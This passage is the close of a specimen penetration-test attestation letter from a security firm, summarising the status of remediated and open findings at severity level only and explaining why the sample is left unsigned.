Seven entries were recorded: six findings carrying risk and one observation carrying none. At the close of the re-test, five findings were verified as remediated, one medium-severity finding remained open, and one low-severity finding was formally accepted as a risk by the client. **No critical or high-severity finding remains open.** No new findings were introduced by the remediation work.

This letter states the scope, the dates, the methodology and the outcome at severity level. It deliberately contains no technical detail, no endpoint, and no reproduction step, so that it can be shared with customers, auditors and prospective investors without creating a risk to the client. The full report supporting this letter is confidential to Northwind Retail.

This attestation reflects the state of the tested systems within the stated window. A penetration test is a sample of an attacker's effort inside a fixed period and does not certify that no further weakness exists.

SIGNATURE

Ryan Sebastian
Founder and lead security engineer
Ghost Protocol (Pvt) Ltd, Colombo, Sri Lanka
ryan@ghosts.lk · ghosts.lk

THIS SPECIMEN IS UNSIGNED, ON PURPOSE

A letter issued for a real engagement carries the engineer's signature and a date, and states a real client's name. This page carries neither, because a signed attestation for a company that does not exist would be a forgery of exactly the document the signature is meant to make trustworthy. The rule above is empty and stays empty.

EXAMPLE